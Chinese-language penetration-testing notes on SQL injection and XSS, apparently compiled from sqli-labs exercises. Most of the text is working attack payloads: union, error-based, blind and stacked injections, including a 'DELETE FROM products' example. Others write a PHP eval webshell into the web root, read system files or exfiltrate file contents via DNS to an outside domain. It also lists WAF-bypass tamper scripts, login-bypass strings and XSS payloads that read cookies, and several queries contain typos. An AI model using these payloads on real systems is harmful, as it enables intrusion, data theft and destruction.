堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,例如php中的mysqli_multi_query函数。但与之相对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
触发条件
1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。
参考:https://www.cnblogs.com/backlion/p/9721687.html
注入语句
网传版本
?id=33 and (select 1 from (select count(*),concat('^',(select version() from information_schema.tables limit 0,1),'^',floor (rand()*2)) x from information_schema.tables group by x)a)
简化版本(列为15)
?id=33 union select 1,2,concat(left(rand(),3),'^',(select version()),'^') a,count(*),5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables group by a
group by——bug
group by聚合函数的报错是mysql的一个bug,编号为#8652.当使用rand()函数进行分组聚合时,会产生重复键错误。
参考链接:https://bugs.mysql.com/bug.php?id=8652
bug测试(以phpstudy为环境)
创建数据库,并写入数据
creat database groupbytest; #创建数据库groupbytest
creat table r1(a int); #创建表r1,其中有一为a的列,类型为int
insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2); #14个数据
简单查询:select * from r1
select left(rand(),3),a from r1 group by 1;
#由于rand()函数存在,每次执行结果都不相同(随机)
select left(rand(),3),a,count(*) from r1 group by 1;
#此处引入count()函数,产生group by重复键冲突(报错—虚报随机生成)
其他语句
select round(rand(),1),a,count(*) from r1 group by 1; #报错,重复键冲突
select a,count(*) from r1 group by round(rand(),1); #触发冲突
select from (rand()*2),a,count(*) from nn group r1 group by 1;
报错注入
我们可以利用报错信息,获取数据库中的信息。
select concat(left(rand(),3),'^',(selet version()),'^') as x,count(*) from information_schema.tables group by X;
#语句中的as是给concat(left(rand(),3),'^',(select versionn()),'^')起别名x,方便后面的聚合操作。此处as可以省略
如果关键的表被禁用(rand()/count()),可以采用如下方式
select min(@a:=1) from innformation_schema.tables group by concat('^',@@version,'^',@a:=(@a+1)%2);
不依赖额外的函数和具体的表
select min(@a:=1) from (select 1 union select null union select !1)a group by concat('^',@@version,'^',@a:=(@a+1)%2);
注意:此方案可能成功,也可能不成功
SQL语句解析过程
from #后面的表标识了这条语句要查询的数据源,from过程之后会形成一个虚拟表VT1
where #对VT1过程中生成的临时表进行过滤,满足where条件子句的列插入到VT2
group by #把VT2生成的表按照group by中的列进行分组,生成VT3
having #对VT3表中不同分组进行过滤,满足having条件的子句被加到VT4中
select #对select子句中的元素进行处理,生成VT5表。
#1、计算表达式,计算select子句中表达式,生成VT5-1
#2、distinct寻找VT5-1表中重复的列,并删掉,生成VT5-2
#3、top从order by子句定义的结果中帅选出符合条件的列,生成VT5-3
order by #从VT5-3中的表,根据order by子句的结果进行序,生成VT6
我们可以利用SQL注入漏洞读取文件。但是读取文件需要一定的条件(前提条件)
secure-file-priv (可以在phpmyadmin中看到该变量)
该参数在高版本的mysql数据库中限制了文件的导入导出操作。该参数可以写在my.ini配置文件中’mysqld’下。若要配置此参数,需要修改my.ini配置文件,并重启mysql服务。
关于该参数值的说明:
secure-file-priv= #不对mysql的导入导出操作做限制
secure-file-priv='C:/a/' #限制mysql的导入导出操作发生在C:/a/下子目录有效
secure-file-priv=null #限制mysql不允许导入导出操作
当前用户具有文件权限
查询语句:select file_priv from mysql.user where user='root' and host='localhost'
知道要写入目标文件的绝对路径
读取文件操作
示例:
?id=-1 union select 1,2,load_file('C:\\windows\\system32\\drivers\\etc\\hosts'),4,5,6,7,8,9,10,11,12,13,14,15
注意:
#load_file()中文件路径写法:
#写法1,使用“\\”。示例 C:\\windows\\system32·····
#写法2,使用“/”。示例 C:/windows/system32·····
写入文件
示例:
?id=-33 union select 1,2,'<?php @eval($_REQUEST[777]);?>',4,5····,15 into outfile 'C:\\phpstudy\\www\\2.php'
#直接传入参数,页面如果不报错,说明写入成功。可以直接访问 http://ip/2.php
前提条件
写文件
注意:
FIELDS TERMINATED BY原理为在输出数据的每个字段之间插入webshell内容,所以如果select返回的只有一个字段,则写入的文件不包含webshell内容,例如下面语句SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
,写入的文件中只包含username的值而没有webshell内容;
union注入写文件
注意:0x3c3f70687020706870696e666f28293b3f3e 为一句话木马16进制,也可以直接单引号包裹一句话不用转换。但最好转16进制码,避免麻烦
SELECT * FROM user WHERE id = -1 union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'D:/1.php'
FIELDS TERMINATED BY(可在limit等语句后)
SELECT * FROM user WHERE id = 1 into outfile 'D:/1.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e
LINES TERMINATED BY(可用于limit等sql注入)
SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
示例:
-3612' OR 4685=4685 LIMIT 0,1 INTO OUTFILE '/var/www/tmpbwyjn.php' LINES TERMINATED BY 0x3c3f7068702024633d245f524551554553
LINES STARTING BY(可用于limit等sql注入)
SELECT username FROM user WHERE id = 1 into outfile 'D:/2.php' LINES STARTING BY 0x3c3f70687020706870696e666f28293b3f3e
读文件
联合注入+load_file读文件
SELECT * FROM user WHERE id=-1 UNION select 1,'1',(select load_file('D:/1.php'))
DNSLOG带外查询
SELECT id FROM user WHERE id = load_file (concat('\\\\',hex((select load_file('D:/1.php'))),'.t00ls.xxxxxxxxx.tu4.org\\a.txt'))
报错注入+load_file读文件
select * from user where username = '' and updatexml(0,concat(0x7e,(LOAD_FILE('D:/1.php')),0x7e),0)
select * from user where id=1 and (extractvalue(1,concat(0x7e,(select (LOAD_FILE('D:/1.php'))),0x7e)))
判断文件是否存在
原理:
load_file读取文件时,如果没有对应的权限获取或者文件不存在则函数返回NULL,所以结合isnull+load_file可以扫描判断文件名是否存在
如果文件存在,isnull(load_file('文件名'))返回0
mysql> select * from user where username = '' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('D:/1.php')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~0~'
如果文件不存在isnull(load_file('文件名'))返回1
mysql> select * from user where username = '' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('D:/xxxxx')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~1~'
概述
宽字节注入准确来说不是注入手法,而是另一种比较特殊的情况。为了说明宽字节注入问题,以sql-libs 第32关为例。
注入实验
使用?id=1’ 进行测试时,发现提交的单引号会被转义’。此时,转义后的单引号不再是字符串的标识,会被作为普通字符打带入数据库查询。也就是说,我们提交的单引号不会影响原来SQL语句的结构。
通过阅读32关源代码,发现:此网页在连接数据库时,会将编码设置为gbk编码集合,然后进行SQL语句拼接,最后进行数据库查询。
转义符号 \ 的编码是5c,正好在gbk编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c组成一个gbk编码的汉字。这样SQL语句传入数据库的时候,转义字符5c,会被看做gbk汉字低字位字节编码,从而失去转义的作用。
如果我们提交这样的参数,就可以联合查询了。注:0xdf5c,就是一个汉字“運”
?id=1 %df' union select 1,2,3--+
补充
gbk采用双字节编码(16位),范围:8140~FEFE ,剔除xx7E码位,共23940个码位。
cookie注入的注入参数需要通过cookie提交,可以通过“document.cookie"在控制台完成对浏览器cookie的读写。
现使用sqli-labs第二十关说明cookie注入问题
使用控制台,写入cookie注入语句,刷新页面:
document.cookie="uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"
#井号(#)是注释后面语句。井号与单引号对应,将之注释掉
base64注入也是比较简单的,只不过将注入字段经过base64编码。现使用sqli-labs第22关来说明,22关属于cookie型的base64注入。即cookie信息使用base64编码。
document.cookie="uname=Dumb' and extractvalue(1,conncat(0x7e,database(),0x7e))#"
#注入语句需转化为base64编码
HTTP头部注入就是指注入字段在HTTP头部的字段中,这些字段通常有User-Agent、Referer等
User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1 and '1'='1
#闭合user-agent中缺少的部分
Referer注入(第十九关)
Referer:hacker'and updatexml(1,concat(0x7e,database(),0x7e),1) and '1' ='1
使用burp suite工具,利用burp中的攻击模块。一般是布尔盲注、延时注入时使用,其他注入方法使用重放模块和手注,也可以使用hackbar插件。以下以sqli-labs为例
第一关
分析(使用hackbar):
输入?id=1,页面变化有回显存在SQL注入漏洞。输入?id=1’,根据显示判断为字符型注入,闭合方式为单引号。最后,使用“–+”注释掉注入语句后的语句(用“#”号注释须转化为url编码“%23”)
注意:字符型注入需要闭合前面语句
示例:
?id=1' and 1=2 union select 1,version(),3 --+
第二关
分析:输入?id=1/2,页面变化且回显,存在SQL注入漏洞。用单引号测试发现报错但不是“?id=1"附近报错。说明为数字型注入,无闭合方式。
示例:
?id=-2 union select 1,2,database() --+
第三关
分析:字符型注入。闭合方式为” ’) “ 单引号括号
示例:
?id=2') and 1=2 union select 1,2,version() --+
第四关
分析:使用单引号测试无果,改用双引号。得出为字符型注入,闭合方式“ ”)“双引号括号。
示例:
?id=2") and 1=2 union select 1,2,@@datadir --+
第五关
分析:?id=1 有报错无回显,单引号测试得出为字符型注入,闭合方式为单引号,使用报错注入。
示例:
?id=2' and updatexml(1,select database(),1) --+
#updatexml(1,注入语句,1)。固定格式,3参数。
注意:有时使用报错注入得到信息(例如密码)过长,显示不全。通常可以使用substr分割字符串。
示例:
and updatexml(1,concat(0x5e,substr((select password from cms_user),1,16),0x5e),1)
#从1开始截取16位
第六关
分析:无回显,双引号闭合、字符型注入。使用报错注入。
示例:
?id=2" and updatexml(1,concat(0x5e,(select version()),0x5e),1) --+
第七关
分析:没回显,没报错,单引号测试无果,闭合方式未知。布尔类型无、延时无
解决:代码审计
$sql="····id=(('$id'))" limit 0,1" #闭合方式为单引号双括号 ‘))
示例(一句话木马入侵):
?id=2')) union select 1,"<?php @eval(\$_REQUEST[777]?>)",3 into outfile "C:\\phpstudy\\www\\1.php"
#将一句话木马写入1.php文件,访问1.php文件,执行操作。。一句话木马要注意转义
#示例: ···/1.php?777=echo 'whoami'; #将要执行的命令传递给777
第8关(半自动化注入)
分析:无回显,无报错,字符型注入,单引号闭合,有布尔类型状态——使用布尔盲注
判断数据库长度
?id=2' and length(database())=1 #长度不确定,使用半自动化注入方法
使用burp suite工具攻击模块(长度为一个变量,attack type=sniper):
抓包(poxy)---->将包发送到intrader模块--->选中数字1作为变量(add$)--->选中payload
--->选择一个字典(一般为1~30数字以内,用以爆破数据库名长度)--->stark attack开始攻击
注意:
若要爆破库名则有两个变量(第几个,是什么)。attack type=cluster bomb ,需设置字典:payload sets=1/2 (第几个变量字典,payload options···设置字典)
第9关(半自动化注入)
分析:无回显、无报错、字符型注入、无布尔类型状态。有延时,闭合方式为单引号。
#使用burp suite 工具半自动化注入
判断数据库长度
?id=2' and if(length(database())=1,sleep(5),1) --+
判断数据库的名字
?id=2' and if(ascii(substr(database(),1,1))=1,sleep(5),1) --+
sqlmap 是一个开源渗透测试工具,可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。它配备了强大的检测引擎、终极渗透测试人员的许多利基功能以及从数据库指纹识别、从数据库获取数据到访问底层文件系统和通过输出在操作系统上执行命令的广泛切换。带外连接。
用法:python sqlmap.py [选项] 选项: -h, --help 显示基本帮助信息并退出 -hh 显示高级帮助信息并退出 --version 显示程序版本信息并退出 -v VERBOSE 输出信息详细程度级别:0-6(默认为 1) 目标: 至少提供一个以下选项以指定目标 -u URL, --url=URL 目标 URL(例如:"http://www.site.com/vuln.php?id=1") -d DIRECT 可直接连接数据库的地址字符串 -l LOGFILE 从 Burp 或 WebScarab 代理的日志文件中解析目标地址 -m BULKFILE 从文本文件中获取批量目标 -r REQUESTFILE 从文件中读取 HTTP 请求 -g GOOGLEDORK 使用 Google dork 结果作为目标 -c CONFIGFILE 从 INI 配置文件中加载选项 请求: 以下选项可以指定连接目标地址的方式 -A AGENT, --user.. 设置 HTTP User-Agent 头部值 -H HEADER, --hea.. 设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1") --method=METHOD 强制使用提供的 HTTP 方法(例如:PUT) --data=DATA 使用 POST 发送数据串(例如:"id=1") --param-del=PARA.. 设置参数值分隔符(例如:&) --cookie=COOKIE 指定 HTTP Cookie(例如:"PHPSESSID=a8d127e..") --cookie-del=COO.. 设置 cookie 分隔符(例如:;) --live-cookies=L.. 指定 Live cookies 文件以便加载最新的 Cookies 值 --load-cookies=L.. 指定以 Netscape/wget 格式存放 cookies 的文件 --drop-set-cookie 忽略 HTTP 响应中的 Set-Cookie 参数 --mobile 使用 HTTP User-Agent 模仿智能手机 --random-agent 使用随机的 HTTP User-Agent --host=HOST 指定 HTTP Host --referer=REFERER 指定 HTTP Referer --headers=HEADERS 设置额外的 HTTP 头参数(例如:"Accept-Language: fr\nETag: 123") --auth-type=AUTH.. HTTP 认证方式(Basic,Digest,NTLM 或 PKI) --auth-cred=AUTH.. HTTP 认证凭证(username:password) --auth-file=AUTH.. HTTP 认证 PEM 证书/私钥文件 --ignore-code=IG.. 忽略(有问题的)HTTP 错误码(例如:401) --ignore-proxy 忽略系统默认代理设置 --ignore-redirects 忽略重定向尝试 --ignore-timeouts 忽略连接超时 --proxy=PROXY 使用代理连接目标 URL --proxy-cred=PRO.. 使用代理进行认证(username:password) --proxy-file=PRO.. 从文件中加载代理列表 --proxy-freq=PRO.. 通过给定列表中的不同代理依次发出请求 --tor 使用 Tor 匿名网络 --tor-port=TORPORT 设置 Tor 代理端口代替默认端口 --tor-type=TORTYPE 设置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默认)) --check-tor 检查是否正确使用了 Tor --delay=DELAY 设置每个 HTTP 请求的延迟秒数 --timeout=TIMEOUT 设置连接响应的有效秒数(默认为 30) --retries=RETRIES 连接超时时重试次数(默认为 3) --randomize=RPARAM 随机更改给定的参数值 --safe-url=SAFEURL 测试过程中可频繁访问且合法的 URL 地址(译者注: 有些网站在你连续多次访问错误地址时会关闭会话连接, 后面的“请求”小节有详细说明) --safe-post=SAFE.. 使用 POST 方法发送合法的数据 --safe-req=SAFER.. 从文件中加载合法的 HTTP 请求 --safe-freq=SAFE.. 在访问给定的合法 URL 之间穿插发送测试请求 --skip-urlencode 不对 payload 数据进行 URL 编码 --csrf-token=CSR.. 设置网站用来反 CSRF 攻击的 token --csrf-url=CSRFURL 指定可提取防 CSRF 攻击 token 的 URL --csrf-method=CS.. 指定访问防 CSRF token 页面时使用的 HTTP 方法 --csrf-retries=C.. 指定获取防 CSRF token 的重试次数 (默认为 0) --force-ssl 强制使用 SSL/HTTPS --chunked 使用 HTTP 分块传输编码(POST)请求 --hpp 使用 HTTP 参数污染攻击 --eval=EVALCODE 在发起请求前执行给定的 Python 代码(例如: "import hashlib;id2=hashlib.md5(id).hexdigest()") 优化: 以下选项用于优化 sqlmap 性能 -o 开启所有优化开关 --predict-output 预测常用请求的输出 --keep-alive 使用持久的 HTTP(S) 连接 --null-connection 仅获取页面大小而非实际的 HTTP 响应 --threads=THREADS 设置 HTTP(S) 请求并发数最大值(默认为 1) 注入: 以下选项用于指定要测试的参数, 提供自定义注入 payloads 和篡改参数的脚本 -p TESTPARAMETER 指定需要测试的参数 --skip=SKIP 指定要跳过的参数 --skip-static 指定跳过非动态参数 --param-exclude=.. 用正则表达式排除参数(例如:"ses") --param-filter=P.. 通过位置过滤可测试参数(例如:"POST") --dbms=DBMS 指定后端 DBMS(Database Management System, 数据库管理系统)类型(例如:MySQL) --dbms-cred=DBMS.. DBMS 认证凭据(username:password) --os=OS 指定后端 DBMS 的操作系统类型 --invalid-bignum 将无效值设置为大数 --invalid-logical 对无效值使用逻辑运算 --invalid-string 对无效值使用随机字符串 --no-cast 关闭 payload 构造机制 --no-escape 关闭字符串转义机制 --prefix=PREFIX 注入 payload 的前缀字符串 --suffix=SUFFIX 注入 payload 的后缀字符串 --tamper=TAMPER 用给定脚本修改注入数据 检测: 以下选项用于自定义检测方式 --level=LEVEL 设置测试等级(1-5,默认为 1) --risk=RISK 设置测试风险等级(1-3,默认为 1) --string=STRING 用于确定查询结果为真时的字符串 --not-string=NOT.. 用于确定查询结果为假时的字符串 --regexp=REGEXP 用于确定查询结果为真时的正则表达式 --code=CODE 用于确定查询结果为真时的 HTTP 状态码 --smart 只在使用启发式检测时才进行彻底的测试 --text-only 只根据页面文本内容对比页面 --titles 只根据页面标题对比页面 技术: 以下选项用于调整特定 SQL 注入技术的测试方法 --technique=TECH.. 使用的 SQL 注入技术(默认为“BEUSTQ”,译者注: B: Boolean-based blind SQL injection(布尔型盲注) E: Error-based SQL injection(报错型注入) U: UNION query SQL injection(联合查询注入) S: Stacked queries SQL injection(堆叠查询注入) T: Time-based blind SQL injection(时间型盲注) Q: inline Query injection(内联查询注入) --time-sec=TIMESEC 延迟 DBMS 的响应秒数(默认为 5) --union-cols=UCOLS 设置联合查询注入测试的列数目范围 --union-char=UCHAR 用于暴力猜解列数的字符 --union-from=UFROM 设置联合查询注入 FROM 处用到的表 --dns-domain=DNS.. 设置用于 DNS 渗出攻击的域名(译者注: 推荐阅读《在SQL注入中使用DNS获取数据》 http://cb.drops.wiki/drops/tips-5283.html, 在后面的“技术”小节中也有相应解释) --second-url=SEC.. 设置二阶响应的结果显示页面的 URL(译者注: 该选项用于 SQL 二阶注入) --second-req=SEC.. 从文件读取 HTTP 二阶请求 指纹识别: -f, --fingerprint 执行广泛的 DBMS 版本指纹识别 枚举: 以下选项用于获取后端 DBMS 的信息,结构和数据表中的数据 -a, --all 获取所有信息、数据 -b, --banner 获取 DBMS banner --current-user 获取 DBMS 当前用户 --current-db 获取 DBMS 当前数据库 --hostname 获取 DBMS 服务器的主机名 --is-dba 探测 DBMS 当前用户是否为 DBA(数据库管理员) --users 枚举出 DBMS 所有用户 --passwords 枚举出 DBMS 所有用户的密码哈希 --privileges 枚举出 DBMS 所有用户特权级 --roles 枚举出 DBMS 所有用户角色 --dbs 枚举出 DBMS 所有数据库 --tables 枚举出 DBMS 数据库中的所有表 --columns 枚举出 DBMS 表中的所有列 --schema 枚举出 DBMS 所有模式 --count 获取数据表数目 --dump 导出 DBMS 数据库表项 --dump-all 导出所有 DBMS 数据库表项 --search 搜索列,表和/或数据库名 --comments 枚举数据时检查 DBMS 注释 --statements 获取 DBMS 正在执行的 SQL 语句 -D DB 指定要枚举的 DBMS 数据库 -T TBL 指定要枚举的 DBMS 数据表 -C COL 指定要枚举的 DBMS 数据列 -X EXCLUDE 指定不枚举的 DBMS 标识符 -U USER 指定枚举的 DBMS 用户 --exclude-sysdbs 枚举所有数据表时,指定排除特定系统数据库 --pivot-column=P.. 指定主列 --where=DUMPWHERE 在转储表时使用 WHERE 条件语句 --start=LIMITSTART 指定要导出的数据表条目开始行数 --stop=LIMITSTOP 指定要导出的数据表条目结束行数 --first=FIRSTCHAR 指定获取返回查询结果的开始字符位 --last=LASTCHAR 指定获取返回查询结果的结束字符位 --sql-query=SQLQ.. 指定要执行的 SQL 语句 --sql-shell 调出交互式 SQL shell --sql-file=SQLFILE 执行文件中的 SQL 语句 暴力破解: 以下选项用于暴力破解测试 --common-tables 检测常见的表名是否存在 --common-columns 检测常用的列名是否存在 --common-files 检测普通文件是否存在 用户自定义函数注入: 以下选项用于创建用户自定义函数 --udf-inject 注入用户自定义函数 --shared-lib=SHLIB 共享库的本地路径 访问文件系统: 以下选项用于访问后端 DBMS 的底层文件系统 --file-read=FILE.. 读取后端 DBMS 文件系统中的文件 --file-write=FIL.. 写入到后端 DBMS 文件系统中的文件 --file-dest=FILE.. 使用绝对路径写入到后端 DBMS 中的文件 访问操作系统: 以下选项用于访问后端 DBMS 的底层操作系统 --os-cmd=OSCMD 执行操作系统命令 --os-shell 调出交互式操作系统 shell --os-pwn 调出 OOB shell,Meterpreter 或 VNC --os-smbrelay 一键调出 OOB shell,Meterpreter 或 VNC --os-bof 利用存储过程的缓冲区溢出 --priv-esc 数据库进程用户提权 --msf-path=MSFPATH Metasploit 框架的本地安装路径 --tmp-path=TMPPATH 远程临时文件目录的绝对路径 访问 Windows 注册表: 以下选项用于访问后端 DBMS 的 Windows 注册表 --reg-read 读取一个 Windows 注册表键值 --reg-add 写入一个 Windows 注册表键值数据 --reg-del 删除一个 Windows 注册表键值 --reg-key=REGKEY 指定 Windows 注册表键 --reg-value=REGVAL 指定 Windows 注册表键值 --reg-data=REGDATA 指定 Windows 注册表键值数据 --reg-type=REGTYPE 指定 Windows 注册表键值类型 通用选项: 以下选项用于设置通用的参数 -s SESSIONFILE 从文件(.sqlite)中读入会话信息 -t TRAFFICFILE 保存所有 HTTP 流量记录到指定文本文件 --answers=ANSWERS 预设回答(例如:"quit=N,follow=N") --base64=BASE64P.. 表明参数包含 Base64 编码的数据 --base64-safe 使用 URL 与文件名安全的 Base64 字母表(RFC 4648) --batch 从不询问用户输入,使用默认配置 --binary-fields=.. 具有二进制值的结果字段(例如:"digest") --check-internet 在访问目标之前检查是否正常连接互联网 --cleanup 清理 DBMS 中特定的 sqlmap UDF 与数据表 --crawl=CRAWLDEPTH 从目标 URL 开始爬取网站 --crawl-exclude=.. 用正则表达式筛选爬取的页面(例如:"logout") --csv-del=CSVDEL 指定输出到 CVS 文件时使用的分隔符(默认为“,”) --charset=CHARSET 指定 SQL 盲注字符集(例如:"0123456789abcdef") --dump-format=DU.. 导出数据的格式(CSV(默认),HTML 或 SQLITE) --encoding=ENCOD.. 指定获取数据时使用的字符编码(例如:GBK) --eta 显示每个结果输出的预计到达时间 --flush-session 清空当前目标的会话文件 --forms 解析并测试目标 URL 的表单 --fresh-queries 忽略存储在会话文件中的查询结果 --gpage=GOOGLEPAGE 指定所用 Google dork 结果的页码 --har=HARFILE 将所有 HTTP 流量记录到一个 HAR 文件中 --hex 获取数据时使用 hex 转换 --output-dir=OUT.. 自定义输出目录路径 --parse-errors 从响应中解析并显示 DBMS 错误信息 --preprocess=PRE.. 使用给定脚本做前处理(请求) --postprocess=PO.. 使用给定脚本做后处理(响应) --repair 重新导出具有未知字符的数据(?) --save=SAVECONFIG 将选项设置保存到一个 INI 配置文件 --scope=SCOPE 用正则表达式过滤目标 --skip-heuristics 不对 SQLi/XSS 漏洞进行启发式检测 --skip-waf 不对 WAF/IPS 进行启发式检测 --table-prefix=T.. 指定临时数据表名前(默认:"sqlmap") --test-filter=TE.. 根据 payloads 和/或标题(例如:ROW)选择测试 --test-skip=TEST.. 根据 payloads 和/或标题(例如:BENCHMARK)跳过部分测试 --web-root=WEBROOT 指定 Web 服务器根目录(例如:"/var/www") 杂项: 以下选项不属于前文的任何类别 -z MNEMONICS 使用短助记符(例如:“flu,bat,ban,tec=EU”) --alert=ALERT 在找到 SQL 注入时运行 OS 命令 --beep 在问题提示或在发现 SQL 注入/XSS/FI 时发出提示音 --dependencies 检查 sqlmap 缺少(可选)的依赖 --disable-coloring 关闭彩色控制台输出 --offline 在离线模式下工作(仅使用会话数据) --purge 安全删除 sqlmap data 目录所有内容 --results-file=R.. 指定多目标模式下的 CSV 结果输出路径 --shell 调出交互式 sqlmap shell --tmp-dir=TMPDIR 指定用于存储临时文件的本地目录 --unstable 为不稳定连接调整选项 --update 更新 sqlmap --wizard 适合初级用户的向导界面
参考:https://www.webshell.cc/7162.html
序号 | 脚本名称 | 注释 |
---|---|---|
1 | 0x2char | 将每个编码后的字符转换为等价表达 |
2 | apostrophemask | 单引号替换为Utf8字符 |
3 | apostrophenullencode | 替换双引号为%00%27 |
4 | appendnullbyte | 有效代码后添加%00 |
5 | base64encode | 使用base64编码 |
6 | between | 比较符替换为between |
7 | bluecoat | 空格替换为随机空白字符,等号替换为like |
8 | chardoubleencode | 双url编码 |
9 | charencode | 将url编码 |
10 | charunicodeencode | 使用unicode编码 |
11 | charunicodeescape | 以指定的payload反向编码未编码的字符 |
12 | commalesslimit | 改变limit语句的写法 |
13 | commalessmid | 改变mid语句的写法 |
14 | commentbeforeparentheses | 在括号前加内联注释 |
15 | concat2concatws | 替换CONCAT为CONCAT_WS |
16 | equaltolike | 等号替换为like |
17 | escapequotes | 双引号替换为\\ |
18 | greatest | 大于号替换为greatest |
19 | halfversionedmorekeywords | 在每个关键字前加注释 |
20 | htmlencode | html编码所有非字母和数字的字符 |
21 | ifnull2casewhenisnull | 改变ifnull语句的写法 |
22 | ifnull2ifisnull | 替换ifnull为if(isnull(A)) |
23 | informationschemacomment | 标示符后添加注释 |
24 | least | 替换大于号为least |
25 | lowercase | 全部替换为小写值 |
26 | modsecurityversioned | 空格替换为查询版本的注释 |
27 | modsecurityzeroversioned | 添加完整的查询版本的注释 |
28 | multiplespaces | 添加多个空格 |
29 | nonrecursivereplacement | 替换预定义的关键字 |
30 | overlongutf8 | 将所有字符转义为utf8 |
31 | overlongutf8more | 以指定的payload转换所有字符 |
32 | percentage | 每个字符前添加% |
33 | plus2concat | 将加号替换为concat函数 |
34 | plus2fnconcat | 将加号替换为ODBC函数{fn CONCAT()} |
35 | randomcase | 字符大小写随机替换 |
36 | randomcomments | /**/分割关键字 |
37 | securesphere | 添加某字符串 |
38 | sp_password | 追加sp_password字符串 |
39 | space2comment | 空格替换为/**/ |
40 | space2dash | 空格替换为–加随机字符 |
41 | space2hash | 空格替换为#加随机字符 |
42 | space2morecomment | 空格替换为/_/ |
43 | space2morehash | 空格替换为#加随机字符及换行符 |
44 | space2mssqlblank | 空格替换为其他空符号 |
45 | space2mssqlhash | 空格替换为%23%0A |
46 | space2mysqlblank | 空格替换为其他空白符号 |
47 | space2mysqldash | 空格替换为–%0A |
48 | space2plus | 空格替换为加号 |
49 | space2randomblank | 空格替换为备选字符集中的随机字符 |
50 | symboliclogical | AND和OR替换为&&和|| |
51 | unionalltounion | union all select替换为union select |
52 | unmagicquotes | 宽字符绕过GPC |
53 | uppercase | 全部替换为大写值 |
54 | varnish | 添加HTTP头 |
55 | versionedkeywords | 用注释封装每个非函数的关键字 |
56 | versionedmorekeywords | 使用注释绕过 |
57 | xforwardedfor | 添加伪造的HTTP头 |
access注入是指部署在windows服务器上,使用.asp 代码作为源码搭建的,通过asp代码与数据库产生关联。类似于基于php与mysql的SQL注入,注入方法类似,但ACCESS只有表(可以看做整个数据库系统只有一个默认数据库),所以注入都是从表开始。也可以使用sqlmap等工具进行自动化注入。
环境雷池v3.0
示例:http://locahost:8081/onew.asp?id=46
注:数字型注入,且注入代码会被记录
绕过:在控制台使用cookie注入
注意:注入时(在cookie中)使用“+”号表示空格,共11个字段
document.cokie="id="+escape("-45 union select 1,2,3,4,5,6,7,8,9,10,11 from admin")
注意:cookie注入中,使用escape对注入语句进行url编码(在is语句中得这么做),但上例中“id="不能编码,否则不能识别。
sqlmap -u "url" --cookie "id=45" --leve2 --tables
ajest' or 1=1 # (密码随意)
ajest' or '1'='1 (密码随意)
注意:单引号起闭合作用,#注释后面的内容。or 1=1 使之永远为真
万能密码与万能用户名类似
123‘ or 1=1 #
XSS作为OWASP TOP 10之一(2017版),被称为跨站脚本攻击(cross-site-scripting),本应该缩写为css,但由于和css(cascading style sheets)层叠样式脚本重名。所以更名为XSS。XSS(跨站脚本攻击)主要基于JavaScript(js)完成恶意的攻击行为。js可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象”空间特别大。
XSS通过将精心构造的代码(js)注入到网页中,并由浏览器解释运行这段js代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段js代码,也就是说,XSS的对象是用户和浏览器。
微博、留言板、聊天室等收集用户输入的地方,都有可能被注入XSS代码,都在遭受XSS的风险,只要没有对用户的输入进行严格的过滤,就会被XSS攻击。
我们可以使用一段简单的代码,验证和检测漏洞的存在。这样的代码交POC(proof of concept)。我们可以在测试页面提交这样的代码,提交的代码,会被当作字符串输出在HTML页面中,浏览器会根据
通用测试代码:<script" ‘ 0onn>
补充:
#常见测试payload Target[.]com/index.php?xss=<a href=x onfocus=alert(23) name=jj> <svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;// <svg onload="alert(1)" <="" svg="" GUYS bypassed cloud flare using this payload "><x/Onpointerrawupdate=confirm(document.cookie)>kira_deathnote ‟><marquee/onstart=confirm(1)> "onfocus="alert`1`"autofocus=" Useful #XSS Payloads - "><block%quote oncontextmenu%3Dconfirm(1)>Right click me</blockquote><!-- javascript:/*--></title></style></textarea></script></xmp> <svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'> <body ontouchstart=alert(1)> Triggers when a finger touch the screen <body ontouchend=alert(1)> Triggers when a finger is removed from touch screen <body ontouchmove=alert(1)> When a finger is dragged across the screen. $` onerror=alert(1);// " onfocus="alert(1)" autofocus="
